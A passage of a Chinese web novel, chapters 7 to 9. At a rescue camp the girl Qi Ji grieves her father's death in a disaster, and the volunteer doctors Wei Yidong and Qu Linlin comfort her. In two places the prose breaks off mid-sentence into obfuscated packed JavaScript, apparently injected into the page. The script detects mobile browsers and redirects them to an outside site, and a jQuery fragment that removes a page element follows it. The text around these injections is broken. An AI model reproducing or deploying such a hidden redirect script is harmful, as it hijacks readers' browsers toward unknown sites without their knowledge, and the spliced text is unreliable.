祁寂顿了下动作,点点头。 “这个说来话长,”女医生摸上她的头,边玩她的头发边往远方看去,瞳孔涣散,似是回忆着过往,“小时候我是个孤儿,在福利院长大。” “后来,福利院不知道怎么起火了,给小朋友们身上烧的全是伤,有个好心的爷爷知道了,过来无偿为我们提供救助,再后来,他可能是看我可怜,就收养我了。” “从那之后,他供我读书,教我医术,一直把我抚养成一个成绩优异的医生,就在我以为我终于能够报答他的养育之恩的时候,他去世了,没有一点征兆。当时我不理解,为什么他自己是个医生,却连自己的病都治不好,后来才知道,他是为了省钱供我读大学,才故意选择不吃那些很贵的药,就放任自己的病情越来越严重。” “我知道以后哭了好久,那个时候是真的很内疚,觉得如果爷爷不是为了我,也不会那么早去世,后来,可能是想做些什么,好抵消一下自己的内疚吧,就选择来当无国界医生,救人。” “每当我救一个人,我就在心里跟爷爷说:爷爷,你没看错人,我真的有被你养得很好,也在用你教给我的知识去帮助人,一定程度上来讲,其实你并没有死亡,只是选择让我成为了你,然后代替你去帮助更多的人。” “久而久之,我就觉得,他好像真的还在我身旁,只是他能看见我,而我看不见他罢了。就这样,一直到现在。” 故事说完,她不仅没有哭,反而还绽开一抹笑。 那抹笑,明媚,阳光,生机勃勃,有种不顾一切的鲜活感,丝毫不顾旁边因为她的故事又哭得死去活来的祁寂。 听她又开始哽咽,甚至还拉起她的白大褂擦眼泪,她好笑的摸摸她的脑袋,把她拢进怀里,轻轻说道:“不用哭,小奇迹,有些死亡并不是结束,而是开始。” “开...开始什么?” “人嘛,总是要因为一些东西而活的,或是梦想,或是不甘,或是成为更好的自己,或是成为你想成为的人......虽然不知道你是为什么而活,但我,正是因为爷爷的死亡,才让我决定开始为了成为他而活。” “那,那你,不会,失去自己吗?” “哪有什么自己一说?我们每个人都是环境和故人拼凑成的产物,只是有些人明说,有些人不说罢了,归根究底,都一样的。” 明明每个字祁寂都能听懂,但组合到一起,她就不知道这些话究竟是什么意思了。 “你在...说什么啊?”所以,她只能埋在她腰侧,细声细气的抱怨道:“我真的...听不懂,姐姐,你能不能别说的...那么绕口?” 女医生闻言就笑。 颤抖着双肩不断揉她脑袋,故意让她抓心挠肺道:“想知道我在说什么啊?那就快点长大吧,等你长大,自然就会懂了。” “为什么一定要长大才能懂?不能现在就懂吗?” “你不也说了吗?当时看小说你觉得看不懂,直到见到卫以东来救你你才懂,一个道理。有时候必须自己亲身经历过,才能真正明白这些话是什么意思。” 祁寂瘪瘪嘴,又擦了把眼泪,“好吧,我有时候真的搞不懂你们大人,总是这么...这么的...” “讳莫如深,”女医生秒懂她想说什么,看她憋词憋得满脸涨红都憋不出来的好玩模样,笑得不行,“乖啦,如果可以的话,我还是希望你永远都不要变成我们这样。” “如果可以的话,我也不想变成你们这样...讳什么深来着?” “讳莫如深。” “好吧,就是这样。” “哈哈哈哈哈,好可爱的小奇迹。” “......” 她双眼肿成鱼泡,稍微挨一下都疼,女医生却心情大好,带她一路走回简易帐篷,为新送进来的伤患缝合上药。 断断续续间,又有十几位重度伤者被抬进来,接受治疗,眼见失踪人数一点一点的逐渐减少,祁寂给女医生递医疗用品的手也显得越发的心不在焉。 女医生要镊子,她给递剪刀,女医生要纱布,她给递棉球。 又一次接过牛头不对马嘴的用具时,女医生:“......” “这样吧,小奇迹,”她认命的自己回身去拿,不忘“体贴”的跟她说:“你也一天一夜没合眼了,要不先去睡会儿,或者去外面玩玩吧,散散心。” 祁寂愣了下,堪堪回过神来,“啊?不需要我帮忙了吗?” “目前我一个人忙得过来,等一会儿忙不过来了再叫你。” “好吧,那我就——” 两人正这么协商着,就见卫以东一脸沉痛的走进来。 他先是站在帐篷口处四下张望了一眼,旋即,确认她的位置后,笔直地朝她这边走过来。 厚重的马丁靴磕在地面一响、一响的,正如她被囚于胸腔之内的心脏一跳、一跳的,在她与他四目相对的瞬间,在他朝她走过来的这几步中,内心不停悸动的同时,也令她心底油然而生出一种不太好的感觉。 她说不上来这种感觉到底是因为什么。 只以为是因为直面他时身体实在太过于紧张,紧张到让她的感知都出现了大幅度偏差。 她吞了吞口水,下意识的想要后退一步,离他稍微远一些,好让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张口的瞬间,眼泪就像断了线的珍珠般径直往下掉,她唇瓣颤抖着,拉出条条不敢置信的银丝,又于开腔中断裂,“卫以东!你快说啊!其实你都是骗我的!都是——” 可不论她怎么哭,怎么想要逃避,怎么给他找借口,从头到尾,他一直都在重复这一句话,重复这一句,快要压垮她的话: “——对不起,是我来晚了。” 那一刻。 祁寂突然发现,好像根本就没有地方可供她逃避。 她就只能这么站在卫以东面前,从他口中直白、清晰、而又明了的面对自己父亲去世的坏消息。 除了能哭,除了能握紧拳头一拳、一拳的打在他腹肌上,泪眼朦胧的发泄自己心中的难过与沉闷之外,再没有办法去做些什么。 就连去看一眼父亲的遗体,她都不敢。 明明知道父亲是为了救她才会选择冲进建筑物里的,明明知道女医生和卫以东的话不过是几句带有期冀的安慰,明明知道在生死面前人命永远都是那么单薄而脆弱......可就算这样,她还是无法控制住自己的崩溃。 她痛哭流涕的握拳打在他身上,瘪着嘴,说出口的指责都显得是那么的无力,而又无理取闹: “为什么!为什么!卫以东!你明明向我,保证过的!” “为什么一定,一定要是你!” “我,我讨厌你!” “你还我爸爸!!!” 而卫以东。 就一声不吭地担下她的所有指责。 见她哭得震天动地,甚至隐隐有种脱力要往地上倒的架势,他急忙过来一把将她抱进怀里,托着她,任由她的眼泪鼻涕糊了他一身,还不停在用拳头打他的胸肌,隔着一层薄薄的衬衫将他的皮肉打得发红。 那片红,顺着血液逆流而上,在他的眼尾晕开猩红。 他就那么一动不动地承受着她无厘头的打骂,将她抱在怀里,一个劲儿的低头对她说: “对不起。” “是我没能遵守诺言。” 7.现实 祁寂独自躲在角落里放声哭泣。 一开始卫以东还陪着她,想劝她再去看父亲最后一眼,她不听,从他怀里挣脱出来,一个人蜷缩在地上哭。后来,好像是peter在找他,说有位新被救出来的孕妇受伤了,需要做手术,必须要有他在场。 待他匆忙离开后,她才彻底跌坐到脏兮兮的地上,一个人抱着双腿哭得上气不接下气。 从始至终,都不愿意面对现实—— 最爱她的爸爸,就这么被无情的天灾夺去了鲜活的生命。 另一边的高雨晴也同她一样。 一觉醒来便从救援队员口中得知了这个坏消息,天崩地裂、声泪俱下的同时,她跌跌撞撞地从帐篷里跑出来,扑到祁连伟冰冷的尸体上哭得震耳欲聋,引得周围的人频频向她投以瞩目。 一时之间。 母女俩谁都顾不上谁,各自用各自的方式为祁连伟的离去表达着不舍与哀恸。 在她们心里。 祁连伟这一生都没有做过任何对不起良心的事情,上到慈善捐款,体恤员工,下到孝顺父母,疼爱妻女,可以说,在这场天灾之中,最不该被夺去生命的人,就是他。 可偏偏,老天最爱开玩笑,最爱拿善良慈悲的好人来割血祭旗。 就这么阴差阳错的,让他离她们而去。 一去不复返。 ...... 夜里的22:36。 天空向来不管人间的悲喜,准时到有些无情地拉下漆黑的帷幕,不知道是不是前一天下过暴雨的缘故,今晚的星星特别多,特别亮,一闪一闪的,像极了无数双小眼睛在眨巴卖萌。 白板上的死亡人数从12更改为13,3字的弯刚刚落笔,空中就一秒不偏的响起长时间持续的警笛声。 除了还在手术台上奋战的医生外,所有人都不约而同地停下手中的事情,站立在原地,低着头,闭着眼,共同为这场宏大而悲怆的人间惨剧默默哀悼。 在这无比短暂的16小时内,卫以东亲眼目睹了三条人命的消亡。 一条是被钢筋插穿脾脏当场死亡的男性,一条是孕妇肚子里早已胎停的婴儿,还有一条。 是祁寂的父亲。 尽管心里不能再明白生死有命,富贵在天,死神真正想收的人,就算他拼上这条命也照样没办法抢回来,可真当小小一个的祁寂在他怀里哭成泪人的时候,他还是无法不被触动。 既为生命的渺小,也为别离的悲痛。 不远处有人往桌台上摆着蜡烛,不多不少,正好13盏。 大大小小的烛光摇曳在不冷不热的风中,在白板上、地面上、人脸上扫射出一道道形状不同的影子,那里面,有些影子在哭,有些影子在笑,还有些影子,在叫嚣着希望人们永远不要将它们遗忘...... 唯独。 就是没有那个连看一眼世界都没机会的婴儿。 卫以东定睛看着,不着痕迹地握紧伤痕累累的双拳,不多时,复又松开。他几步走过去,问救援队多要了一盏蜡烛,从裤兜里掏出打火机,将那盏蜡烛为那个鲜为人知的婴儿点亮。 他很想对它说些什么,却又不知道该说些什么,总觉得它最想听的话既不是道歉,也不是悼念,而是—— 欢迎来到这个世界。 可是,这种话他说不出来,也没资格去说。 就只能默默地双手合十,虔诚的为它祈祷:希望下一次再降临于这个世界时,一定要是一个风和日丽的艳阳天。 耳边振聋发聩的警笛声在无声的祷告中逐渐消弭,周遭的人又恢复了稀稀拉拉的动静,卫以东放下手臂,睁开双眼,又盯着那盏平静到毫无波动的蜡烛看了一会儿,才调转脚尖打算回帐篷里合眼休息一会儿。 却不想。 刚一转身,就与不远处的祁寂对上视线。 她大概是从下午一直哭到现在,两只眼的眼皮高高的肿起来,快要把葡萄大的瞳孔都压缩成一条缝,没有被白大褂遮盖住的小腿上满是肮脏不堪的灰尘与泥土,这一块土褐,那一片漆灰的,看上去狼狈可怜得不行。 他突然就觉得有些刺眼。 想带她去找曲琳琳,让她帮她的眼皮消消肿,令那张精致白皙的小脸重新恢复本该有的可爱纯真模样,顺便,再把她那两条不像样的腿擦擦干净,让它们回到又白又细长的状态。 只是,还不等他走近。 她就先迈着大步子,目不斜视地与他擦肩而过。 丝毫没瞧他想朝她伸出去的那只手。 五星红旗在风中招展出坚韧的弧度,鸦黑色的衬衫边被珍珠白的大褂角一扫而过,她胸前无国界医生的标志与他身上遍布的脏污痕迹形成最鲜明的对比,那一刻,他站在漆黑的阴影之中,朝她伸出一只手,而她,从始至终都走在最光明的平地上,连半分多余的眼光都不愿意施舍给他。 就好像在用行为向他传达—— 「无国界医生?」 「呵,连人命都救不回来,怎么好意思称自己是医生?」 令他愣怔在原地的同时。 心脏也像被一只大手猛然攥紧般,难受,煎熬。 久久不能停歇。 祁寂并不知道自己这个无心的举动会给卫以东的内心带去那么大的震撼与折磨。 其实她当时看到他了,也感觉出他好像想跟她说说话,但碍于她的心里实在是太难受了,难过到她现在只想一个人冷静一会儿,并不想跟任何人说话。 她特意没回女医生在的那间帐篷,也没进高雨晴在的那间帐篷,就独自找了一块偏僻的、安静的、没有人打扰的角落,蜷腿靠坐在地上,隔着一层薄薄的帐篷布与高雨晴背对背而坐。 高雨晴不知道外面的人是她,可她,却能清晰地捕捉到她无法抑制的哭声。 那哭声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444806|168736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 悲恸,压抑,光是听着都令人感觉胸腔窒息。 并不是不顾一切的放声宣泄,而是在担忧着什么的极力压制,除了害怕被她撞破外,她想不出比这更好的解释。 正因为如此。 她才更不能现在进去找她。 她想,在过去的12年里,她的妈妈一直都是一个要强不服输的女强人,不仅很少跟她和爸爸倾诉工作上的辛苦,更是连坏情绪都不怎么让她们知道,她是那么的爱爸爸,也那么的想保护她,如果不出意外的话,她可能更想在独自承受了爸爸去世的消息后,过来装作没事人的跟她讲: 「爸爸没事,已经被救出来了,只是公司里突然出现点急事,所以没来得及看你就赶紧去出差了。」 如果放在以前,没有经历过这种灾祸,或者是没得知过爸爸消息的情况下,她肯定不会接受她这种漏洞百出的说辞。 但是现在。 她突然就很乐意配合她。 表面上装作什么都不知道,然后背地里悄悄用这个扯淡的借口来蒙蔽自己。 好让自己还能暂时沉浸在美梦之中—— 爸爸并没有离她们而去,他只是出差要出很久罢了。 总有一天,他会冷不丁的回来,给她们一个超级无敌大的惊喜。 直到她真正长大,真正接受了这个事情,也真正能主动去戳破这个美梦面对事实的那一天。 这样就够了。 也只能就这样了。 其他的,她也不知道该怎么做了。 毕竟女医生说得对,人死不能复生,死去的人可以不用面对一切,而活着的人还得继续生活下去,如果做不到狠下心来跟爸爸一起死,那么,她唯一能做的,就是想办法让自己接受这个惨痛的现实。 然后带着爸爸的那一份,继续顽强坚韧的活下去。 想到这里,她脱力地扯出一抹比哭都难看的笑,将那张哭花的脸深深埋进脏兮兮的膝盖里,就那么,裹着微风睡了过去。 在她不知道的地方。 卫以东撑腿靠在她隔壁的帐篷布上,面向不远方那展鲜红又昂扬的五星红旗干站了一宿,一遍又一遍地在心底默念着希波克拉底誓言: “今我进入医业,立誓献身人道服务。 我感激尊敬恩师,如同对待父母,并本着良心与尊严行医,病患的健□□命是我首要顾念,我必严守病患寄托予我的秘密,我必尽力维护医界名誉及高尚传统,我以同事为兄弟。 我对病患负责,不因任何宗教、国籍、种族、政治或地位不同而有所差别,生命从受胎时起,即为至高无上的尊严,即使面临威胁,我的医学知识也不与人道相违。 我兹郑重地、自主地以我的人格宣誓以上的誓言。” 临到日出天际。 他才停止默念,往她身边放了个什么东西。 仿佛从没来过般悄然离开。 8.水液 女医生带着巧克力和矿泉水来找祁寂。 彼时,她恰好悠悠转醒,将涣散迷蒙的目光落在一望无际的废墟之上,有些不知今夕是何夕。 “喏,先喝点水吧,”女医生拧开矿泉水瓶,递到她面前,见她还是傻呆呆的,像是灵魂出窍,她又抬了抬手,“昨天哭了一天,再不补水你就要缺水了。” 她机械地眨动眼睛,慢吞吞的从她手里接过矿泉水瓶。 嗓音嘶哑到仿佛被砂纸磨过般难听。 “谢...谢。” “跟我还客气?快喝吧。” 女医生挑了下下巴,示意她快喝,正巧,救援队队长路过这边,看见她站在这里,像是为了故意打招呼而询问道:“哟,曲医生,早上好,昨晚没来得及问,现在遇难者们都已经脱困了,你们是不是也快要离开了?” “廖队这么关心我们的去留啊?”曲琳琳扭头觑他,没有回答他的问题,反而另起一个话头,“话说,要是我们今天就走,光凭你们带来的那三四个医生可真不一定忙得过来吧?” 廖队连连点头:“可不是?要不都舍不得你们呢。” 曲琳琳笑:“哦,这样啊,你不说我还以为你想赶紧赶我们走呢。” 廖队抻抻唇角,有苦难言的否认道:“那不能,你也知道的,大灾之后必有大疫,这大疫不来还好,要是万一真来——” “——卫以东没跟你们说吗?” 曲琳琳听见这话,瞬间收敛起笑意,腔调认真的打断他,“我们留下的主要目的就是防疫,尽可能做到大灾之后无大疫。” “也就是说,你们至少还会留三天咯?” “应该吧,等这边安定下来我们就走。” “行,那来得及吃点好的再走。” “好的?有烤肉吗?!” “你想什么呢?”廖队双手叉腰,哈哈大笑,笑她真是个不折不扣的肉食动物,一说起烤肉两眼都放光,“预计明天下午三点会送来一批三明治,有得吃你就偷笑吧,还挑三拣四的。” 在有一搭没一搭的交谈之间,不远处有人陆陆续续的从帐篷里出来,有些是受伤比较轻的遇难者,除了想把自己身上洗干净外,最关心的就是有没有除了巧克力和压缩干粮以外的吃食,更多的,是一刻都无法放松下来的救援队员与无国界医生。 尽管在这方度假村里遇难的所有人员都已经在昨晚之前被找齐,死的死,伤的伤,昏迷的昏迷。 但对于他们来说,真正可以预料到的灾难,还在后面。 因此。 他们不仅不能有一刻的松懈,反而更要打起十二分精神来,尽量将尸体和伤口处理的足够好,以做到不给瘟疫可趁之机的“完美预防”。 曲琳琳也是这样。 别看她好似状态十分放松,还有心情跟廖队拌嘴,但患者们的一举一动都被她尽收眼底,心里也时刻牢记每个人的受伤程度和恢复状态。 不可谓不是一个靠谱的好医生。 “唔,行吧,”她听到好吃的只有三明治后,难免觉得扫兴的瘪瘪嘴,但也就是那么一下,之后,便又恢复了活力满满的姿态道:“反正你还欠我三顿烤肉,等之后有空了再问你讨债也来得及。” 廖队双目圆睁,“什么就又三顿了,明明是两顿好不好?” “不好!泰国一顿,缅甸一顿,算上这次,是不是就是三顿了?” “得,越说欠得越多了,那个,琳琳,先不说了,我突然想起那边还有点事情,我得——” “——廖垣生!” 这一声满带回音的怒吼回荡在空气中,带起细小浮尘的同时,也吓得廖队离开的脚步变得更加慌忙急促,短短几秒之间,就再不见踪影。 被留在原地的曲琳琳冷笑一声,朝他逃离的方向狠狠剜了一眼,心不甘情不愿地收回视线。 这一收视线,才蓦然发现—— 祁寂身旁躺着一本早已被雨水彻底泡褶的小说。 她弯腰上前捡起那本书,拿在手里想要翻看,不忘好奇问她:“欸?小奇迹,这是不是就是你跟我说的那本小说?” “你竟然把它从那堆钢筋混凝土里刨出来了?!” “什么时候的事情啊?我怎么不知道。” 也是在她拿起来的时候,祁寂才知道身边多出个东西。 注意到那个无比熟悉的海蓝色封面,她再顾不上小口小口的往喉咙里灌水,“噌”的一下从地上站起来,连拍拍屁股后面的土都来不及,她一把从她手里夺回那本小说,颤抖着指尖撩开扉页来看。 当目光被扉页处那枚小小的、字迹工整的“祁寂”签名占据满时,须臾之间,她的大脑骤然变成一片空白。 唇瓣也紧随其后地开始抖动。 高雨晴和祁连伟都不知道她偷偷把这本小说带来了,知道这本小说存在的,在这里,一共也不过就只有三个人: 她自己,曲琳琳,卫以东。 看曲琳琳这副什么都不知道、甚至还饶有兴味的样子,不像是她把这本小说给她带回来的,而她自己也从来没有去废墟里寻找过,那就只有—— 卫以东。 那个刹那。 她浑身都开始止不住的打哆嗦,血液逆流着从脚后跟一直倒灌进大脑,将本就脆弱的神经线条撑得快要爆炸开来。 她不敢去想。 不敢去想当她哭着向他发泄出那么多恶心话的时候,他的内心该有多么难受,明明他是个医生,比任何人都看重生命、敬畏生命,也比任何人都更希望在这场始料未及的天灾之中不要出现一例伤亡...... 明明...... 她的心里不能再清楚这件事。 可当情绪崩溃的那一刻,她还是不管不顾地冲他宣泄出所有不加控制的负面情绪,甚至,在他想要跟她说些什么的时候,她也事不关己的大步离开,仿佛根本没有看见过他一样。 而他,不仅从头到尾没有对她发过一下脾气,反而还在她没有注意的时候,把这本本该落满灰尘的小说擦拭干净,悄悄放到她身边来。 这让她好不容易按耐下去的难过又重新破土而出。 迅速长成遮隐蔽日的参天大树。 “姐姐,”她一开口,眼眶里先晕起厚重的泪水。拿着小说的手卸力的垂到身侧,她仰头看着水灵灵的天空,努力让泪水不要掉下来,“我好像...又做错事情了......” 曲琳琳并不知道她和卫以东之间发生的那些事情。 看她又摆出这副委屈的模样,还以为是这本小说让她触景生情地想起了之前那些糟心事儿,不由地将她拢进怀里,用手掌轻轻拍打她的瘦骨嶙峋的肩胛。 “没关系的,小奇迹,”她耐心的抚慰着她,想尽可能的将她破碎的情绪都捡起来,然后拼凑好,“我们都犯过错,有些是直接,有些是间接,有些是冲动,有些是故意,但是,无论是哪一种都无所谓的,只要我们肯用心的去补救,绝大部分错误都是可以被救回来的。” “毕竟,人生,除了生死,容错率大到你无法想象。” 祁寂抬手拽紧她的白大褂,攥在手心里揉成一团。 尽管之前已经哭了那么久,久到她以为自己就算难过至极也不会再有一滴多余的眼泪了,可是,此情此景下,她还是无法控制的再次流下滚烫的泪水。 她埋在她怀里抽抽嗒嗒地问道:“那...责怪...也能...能补——” “——当然可以啦。只要真诚地向你责怪过的那个人道个歉,我想,在意你的人都是不会怪你的,反而会很开心。” “那...那...不在意我的...人呢?” “不在意你的人?小笨蛋,如果是不在意你的人,她们根本就不会把你的话放在心上,你又何必纠结她们会不会原谅你?” “好...好吧,我知道了。” “乖啦,”她呼噜着她后脑勺的头发,感受她逐渐平静下来的情绪,这才又提起正事,“昨晚是不是又到处乱跑了?看给腿上搞得全是灰土,走吧,我去给你擦擦。” 祁寂听话的从她怀里退出来。 下意识的又想横起手臂用衣袖擦拭眼泪,却被女医生及时拦住。 她从口袋里掏出救援队刚发的纸巾,抽出一张来,囫囵吞摁到她眼眶上,半严厉道:“还敢用脏衣服擦眼睛,也不怕眼睛肿成红耳龟。” “嗯...”祁寂受惊的合起眼皮,任由泪水在纸巾上晕开浅灰色的痕迹,“红耳龟,是什么?” “是一种睁不开眼睛的动物,像你。” 祁寂瘪起嘴,“我才不是呢......” “好啦,自己拿着再擦擦,我带你去把腿洗干净。” “好......姐姐......?” “嗯?怎么了?” “你知道卫以东在哪里吗?我想...找他。” “不知道欸,可能是窝到哪里去补觉了吧,今早我都没看见过他,”曲琳琳牵着她的手把她往有水的地方带,顺口回她,“不过你要是想找他,我可以一会儿带你去找找。” 祁寂本能的缩了下手,偏过头去。 神情别扭道:“...还是算了。” 曲琳琳瞥了眼她跃跃欲试又怂得要死的后脑勺,没忍住轻笑了下,也没直截了当的戳破她的小心思,就只逗她,“哦?难道说——你要道歉的人是他吗?” “才不是啦!!!” “哈哈哈哈哈,好好,不是不是。” “姐姐!” “我不笑了,真的,小奇迹,你一点都不会撒谎,耳朵都红了。” “......” 接下来的一整天,她都没再看到卫以东。 倒是临近傍晚时分经过一间帐篷时,猝然发现救援队队员正往白板上写着什么。 细看之下,才知道—— 他把死亡人数后面的数字13擦掉了,改写成14。 祁寂不明白为什么好端端的又会有人去世,明明遇难者们都已经被找齐了,伤情最严重的也不过还在昏迷,怎么会......? 实在没能按耐住自己心底的求知欲,她走过去,仰头询问那个刚把数字写好,打算去点蜡烛的救援队员。 “哥哥,我能问一下吗?又有谁去世了?” 救援队员听到声音,俯首过来看她。 并没有因为她只是一个小孩子而故意隐瞒她,反而放下手中的白板笔,对她实话实说道:“是昨晚被救出来的那个孕妇,醒来以后发现自己的孩子没了,受不了打击自尽了。” “就刚刚发生的事情,医生们现在都在——” 祁寂听到他这番说辞,率先回想起昨晚卫以东被叫走,好像就是因为要参与那场手术。 如果真是这样的话,那他现在心里肯定很不是滋味。 不仅没能保住婴儿,就连孕妇本人都在被辛辛苦苦救回来后选择自尽,这种事情给了任何一个医生,大概都是心灵与信念上的双重打击,说不难受都是假的。 因此。 她眉眼间瞬时漾开紧张与揪心,不顾一切地打断他,匆忙问道:“——无国界医生,他们在哪儿?!” “啊...?” 救援队员被她吓了一跳,反应过来后,朝她身后那间帐篷指了指,“...哦,他们都在那——” 里面。 最后两个字还来不及说出口,就见祁寂一溜烟地撒腿往他所指的方向狂冲猛跑,他不太理解她这种一反常态的做法究竟是因为什么,就丈二和尚摸不着头脑的瞥了眼她如风般的背影,旋即,叹气地摇了摇头。 祁寂并不知道他之后的反应是什么。 或者说。 她根本就不在意他会有什么样的反应。 只管以自己的最快速度埋头冲进他所指的那间帐篷里,气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明她连该怎么跟他道歉、该怎么安慰他都还没有想好。 这样贸贸然地出现在他面前,除了让他本就不好的情绪雪上加霜以外,根本就不能带给他什么实际性的安抚。 这般想着。 心底倏的就萌生出一点庆幸来—— 幸好刚刚没能找到卫以东。 不然,那个场面一定会很难看,很滑稽。 唇角扯出一抹嘲讽的弧度,她停下不断敲打在头顶上方的手,没再火急火燎地要去找卫以东,而是抬步边漫无目的的走,边暗戳戳地在心里设想:如果真的见到他,她该如何去安慰他才能让他好受一点。 想着想着,一个不注意,就晃到领取物资的地方。 正好神经松懈下来也有点觉渴了,她冲救援队员笑笑,问他领了一瓶矿泉水。 大概看她是一个小女孩,没多大力气,那个救援队员还好心地问她要不要帮她打开,她拒绝了,一手握紧瓶身,一手使出吃·奶的劲儿往开拧瓶盖,继续没有目的的朝无人问津的帐篷后方走去。 眼看快要走到帐篷前面,手中的瓶盖还是没有半分动静,她站定在原地,甩了甩被磨红肿的手心,换了个更趁手的姿势又去拧。 一边咬牙用力,一边提步再次往前走。 经过几顶相距并不远的帐篷,从夹缝中穿过,她感觉瓶盖隐约有一点松动,更加使劲的同时,面色涨红的与迎面走来的廖队打招呼,与他擦肩后的没几步,正好走到帐篷后方。 没多犹豫,调转脚尖,准备朝右边走。 不料—— 甫一转身,她就与不远处坐在废墟上抽烟的卫以东对了个正着。 猛地停下脚步,手劲却猝不及防地变大。 矿泉水瓶的瓶盖摩擦出“噶哒”一声脆响,她被这道冷不丁的细微声响吓了一跳,回撤脚掌向后踩了一步,手中的矿泉水瓶也因剧烈摇摆的动作而震晃出滴滴点点的水渍。 那些水渍迅速穿破空气,坠落到她脚面上,炸开透明的水花。 她下意识想找些什么东西来擦拭沾在手上的水液,却因此忽视了握在手心里的瓶盖,在她松手的刹那,瓶盖就自由落体的掉到地上,被弹起来一小段距离,随后,又带着灰尘再次与地面接触。 祁寂认命的弯腰去捡,没想到瓶盖侧着向前滚动而去。 红色的瓶盖滚过坎坷不平的地面,有过减速,却始终没有停下来,她又不能不要这个瓶盖,就只能跟在瓶盖后面跑,它跑,她追,它拐弯,她也跟着转变方向。 不一会儿。 瓶盖不知道被什么阻挡,终于停了下来。 她猫着腰追上去,找准时机一把将它拢进手掌心里。 直到柔软细腻的掌心肉被带有棱角的瓶盖硌出不痛不痒的麻意,她才放松下肩膀,打算一会儿用水冲一冲再往矿泉水瓶上盖,却不想,一撩眼皮,两个瞳孔就被卫以东那张略显风流的硬汉脸占满。 那一刻。 耳畔呼啸的风声都自动消音,心脏咚咚狂跳出的白噪音频频打在耳鼓膜上,让她除了愣怔再做不出其他多余的反应。 只能傻乎乎地与他近距离四目相对。 那一刻。 撑在后面的小腿突然窜上令人难耐的麻意,让她踉踉跄跄的摇摆着失去支柱的身体,控制不住的放松脚掌想要往后仰倒。 她害怕的闭起双眼,做好了后脑勺要与地面亲密接吻的准备。 却没有想到。 身体还来不及彻底向后倒,卫以东就眼疾手快地扔掉指间的烟,一把攥住她的手腕,用力将她拉了起来。 而她。 也始料未及的。 顺着他拉拽的力道径直扑跪到他脚边。 狼狈得令人发笑。 9.水瓶 膝盖不偏不倚的砸到崎岖不平的地面上,透过皮肉将细密的痛感传输进大脑,疼得她皱出龇牙咧嘴的难看表情。 手里那瓶矿泉水也随她动作的幅度狠狠磕到地上,喷洒出少半瓶水,汇聚在泥土地上,混着污浊不堪的灰黄全都沾到她手边来,从头到脚,没有一处能看得过眼的地方,狼狈得令人发笑。 头顶也不出意外落下来一道很不给面子的轻笑。 祁寂都不用看就知道。 肯定是卫以东。 在明与暗的交替更迭中,她没好气得挣开他拉住她的手,撑着地面咬紧牙关,一点点将被磕到红肿的膝盖直起来。 脆弱受打击的自尊心与不为人知的小心思被这一摔摔出将近恼羞成怒的羞赧,先前想过的所有的一切都在这个不合时宜的当下烟消云散,她根本顾不上卫以东是怎么想的了,只僵硬地别开能滴出血色的脸颊,暗自盘算该怎么跑才能挽回一点形象。 比漫天如火如荼的火烧云更先映入她眼帘的,是卫以东脚下五个被踩灭的烟头,白皙,短小,软趴趴的,像是被水完全浸泡过。 跟她那本小说一样。 尽管她对于烟的了解并不多,但之前偶然间也曾听爸爸抱怨过一嘴说:被水泡过的烟很拉嗓子,抽得人身体不舒服。 当时爸爸只抽过一口就捻掉不再碰,而卫以东,却能把五个整根都抽完,足以见得他现在的心情有多么差。 差到必须要靠这种东西来发泄。 思绪九转万千之间,本该从他口中吐露出的嘲笑与戏谑并没有如期而至,反倒是断断续续的咳嗽先打破静谧的空气,直钻耳蜗。 那咳嗽声听着难受,沉闷,甚至有些歇斯底里。 让祁寂瞬间忘却自己想要跑走的打算,想都没想,就将拿有矿泉水瓶的那只手抬起来,举到他面前,示意他喝点水顺一顺,可能会好一点。 卫以东一手捂唇,一手接过水瓶,侧过头去咕咚咕咚往下灌。 她的视线也从他刺凸滑滚的喉结上移开,被他双手手背上大大小小的伤口所吸引,再无法挪动一下注意力。 他的手很好看。 不是小说里所描写的那种细腻莹润,而是带有粗糙与力量感的骨节分明,一块骨头与一块骨头的连接处无一例外的有凹陷与凸起,顺着根根分明的手指骨汇聚到手腕,被脉络暴起的青筋交相缠绕,其中,还不乏血性刚毅的伤口。 纤长得极具张力,勾折得满布欲态。 就跟他这个人一样,光是远远看着,都能感受到从他骨缝里溢出的强烈荷尔蒙。 有魅力的不像话。 她失神地盯着他的手,脑海里浮想联翩着,还不受控制的吞咽了两口口水,越想脸色越红,滚烫替代言语将她心底埋藏着的喜欢与崇拜一点不剩的全都表达出来,于他转头的瞬间,她蓦然回神。 生怕他瞧出她的不对劲儿,她第一反应就是要跑。 却在他拉住她手腕时,改变了想法。 “别跑,”他弯腰将空掉的塑料瓶搁到地上,腔调粗哑的仿佛喉咙眼里被塞满了沙砾,不难听,性感,却疲态尽现,“陪我坐会儿吧,小不点。” 祁寂垂下眼帘,怯懦却又勇敢道:“我先去问姐姐拿点酒——” “——未成年不准喝酒。” “不是,是...是要给你的伤口上药。” 卫以东听到这话愣了下,旋即放开她的手。 虽然状态看上去还是那么不好,但她能感觉出来,他的情绪已经比刚刚要好很多了。 她冲他漾起一抹明媚的笑,转身往帐篷里跑。 曲琳琳不在帐篷里。 约莫是听说了孕妇自尽的事情,赶过去看了,她也没大在意,狂放的从她放在地上的医疗包里精准的挑出酒精和棉棒,抱进怀里,又跑去物资领取处领了一瓶水,气喘吁吁地跑回卫以东面前。 她上半身前俯着将怀里的东西都倒他腿上,拆出棉棒来往酒精瓶里蘸,步骤有序,不慌不乱,俨然是在这几天里已经被曲琳琳练出来了,很有医生的架势。 卫以东看着,也不说话。 就放任她大胆地托起他的手,低头细致的往伤口上涂酒精。 